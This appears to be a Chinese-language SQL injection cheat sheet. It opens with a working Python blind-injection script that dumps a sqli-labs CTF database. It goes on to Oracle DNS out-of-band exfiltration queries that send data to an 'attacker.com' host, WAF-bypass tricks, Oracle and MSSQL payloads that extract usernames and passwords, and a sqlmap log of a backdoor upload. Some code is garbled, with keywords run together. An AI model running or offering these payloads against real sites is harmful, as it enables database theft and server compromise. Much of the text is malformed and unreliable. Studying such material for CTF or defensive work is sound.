url = 'http://1dd20f94-5f32-41ba-a9b3-4b023c50b547.node3.buuoj.cn/Less-8' flag = 'You are in...........' param_name = 'id' brutelist = ',abcdefghijklnmopqrstuvwxyz_1234567890'
defsend_requests(payload):# ok payload_dict = {param_name: payload} r = requests.get(url, params=payload_dict) # print(r.url) return r.text
defget_db_length():# ok count = 1 whileTrue: payload = "1\' AND LENGTH(DATABASE())=" + str(count) + "-- " recv = send_requests(payload) if flag in recv: return count count += 1
defget_db_name(db_length):# ok db_name = '' for i inrange(1, db_length+1): for j in brutelist: j = ord(j) payload = "1\' AND ASCII(SUBSTR(DATABASE()," + str(i) + ",1))=" + str(j) + "-- " recv = send_requests(payload) if flag in recv: db_name += chr(j) break return db_name
defget_table_length(db_name):# ok count = 1 whileTrue: payload = "1\' AND (SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=\'" + db_name + "\')=" + str(count) + "-- " recv = send_requests(payload) if flag in recv: return count count += 1
defget_table_name(db_name, table_length):# ok table_name = '' for i inrange(1, table_length+1): for j in brutelist: j = ord(j) payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(table_name)," + str(i) + ",1)) FROM information_schema.tables WHERE table_schema=\'" + db_name + "\')=" + str(j) + "-- " recv = send_requests(payload) if flag in recv: table_name += chr(j) break return table_name
defget_column_length(db_name, table_name):# ok count = 1 whileTrue: payload = "1\' AND (SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_name=\'" + table_name + "\' AND table_schema=\'" + db_name + "\')=" + str(count) + "-- " recv = send_requests(payload) if flag in recv: return count count += 1
defget_column_name(db_name, table_name, column_length):# ok column_name = '' for i inrange(1, column_length+1): for j in brutelist: j = ord(j) payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(column_name)," + str(i) + ",1)) FROM information_schema.columns WHERE table_name=\'" + table_name + "\' AND table_schema=\'" + db_name + "\')=" + str(j) + "-- " recv = send_requests(payload) if flag in recv: column_name += chr(j) break return column_name
defget_data(table_name, column_name): res = {} for column in column_name.split(','): res[column] = '' i = 1 whileTrue: f = 0 for j inrange(32, 127): payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(" + column + ")," + str(i) + ",1)) FROM " + table_name + ")=" + str(j) + "-- " recv = send_requests(payload) if flag in recv: f = 1 res[column] += chr(j) break i += 1 if f == 0: break return res
配置域名解析,先添加一条名为oob、值为ns1.attack.com的 NS 记录,创建一个子域,再添加名为ns1,值为服务器IP的 A 记录,这会将子域oob.attack.com所有的 DNS 请求转发到服务器中。在服务器中使用 tcpdump -n port 53 观察DNS请求,在另一台机器上使用 dig test.oob.attack.com,此时应该可以在服务器中看到对 test.oob.attack.com的查询。
配置完成,接下来是在SQL中实现DNS查询,并把查询的结果包含进去。
Oracle
1 2 3 4 5 6 7 8 9 10 11 12 13 14
/*检测*/ SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
/* Extracting Oracle database version */ SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /*ExtractingCurrent user inOracle database */ SELECTDBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*10G 或更低版本可用以下替代方法*/ UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INITandUTL_TCP
order by 1 and(updatexml(1,concat(0x7e,@@version,0x7e),0)) order by if(1=2,1,(select(1)from(select(sleep(2)))test)) order by (select 1 regexp if(substring(user(),1,1)=0x72,1,0x00))
if(condition, result1, result2); case expr when val1 then result1 when val2 then result2 else result3; case when condition1 then result1 when condition2 then result2 else result3;
HTTP参数污染,id=1 union select 1,2,3 from users where id=1-变成id=1 union select 1&id=2,3 from users where id=1-
缓冲区溢出,id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+version(),database(),user()–+
注释符 #comment/*comment*/-- comment
内联注释 /*!comment*/,id=1/*!UniOn*/Select 1#
select,使用handler语句代替(Mysql):
1 2 3 4 5 6 7 8 9 10
HANDLER tbl_name OPEN[ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ][LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ][LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ][LIMIT ... ]
?id=-1' union select user,null from dual-- ?id=-1'unionselectversion,nullfrom v$instance-- ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)-- ?id=-1'unionselectcolumn_name,nullfrom (select * from (select rownum aslimit,column_namefrom user_tab_columns wheretable_name ='USERS') wherelimit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1'unionselect username,passwd from (select * from (select username,passwd,rownum aslimitfrom users) wherelimit=3)--
报错注入
1 2 3 4 5
?id=1' and1=ctxsys.drithsx.sn(1,(select user from dual))-- ?id=1' and1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1'and1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))-- ?id=1' and1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))-- ?id=1' and1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))
布尔盲注
除了 ifelse,还可以使用 encode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,更改值)
相当于: IF 条件=值1THEN RETURN(返回值1) ELSIF 条件=值2THEN RETURN(返回值2) ...... ELSIF 条件=值n THEN RETURN(返回值n) ELSE RETURN(缺省值) ENDIF
?id=1' and1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=-1' unionselectnull,null-- ?id=-1' unionselect @@servername, @@version-- ?id=-1' unionselect db_name(),suser_sname()-- ?id=-1' unionselect (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null-- ?id=-1' unionselect (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null-- ?id--1' unionselect (select top 1 table_ name from information_schema.tableswhere table_name not in (select top 0 table_name from information_schema.tables)),null-- ?id=-1' unionselect (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null--- ?id=-1' unionselect (select top 1 username from users where username not in (select top 3 username from users)),null--
报错注入
1 2
?id=1' and 1=(select 1/@@servername)-- ?id=1'and1=(select1/(select top 1namefrom sys.databases wherenamenotin (select top 1namefrom sys.databases))--
布尔盲注
1
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
defstart(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ ...
[21:30:16] [INFO] the file stager has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.3.135:80/se3reTdir777/uploads/tmpuxvlx.php [21:30:16] [INFO] the backdoor has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.3.135:80/se3reTdir777/uploads/tmpbfwfq.php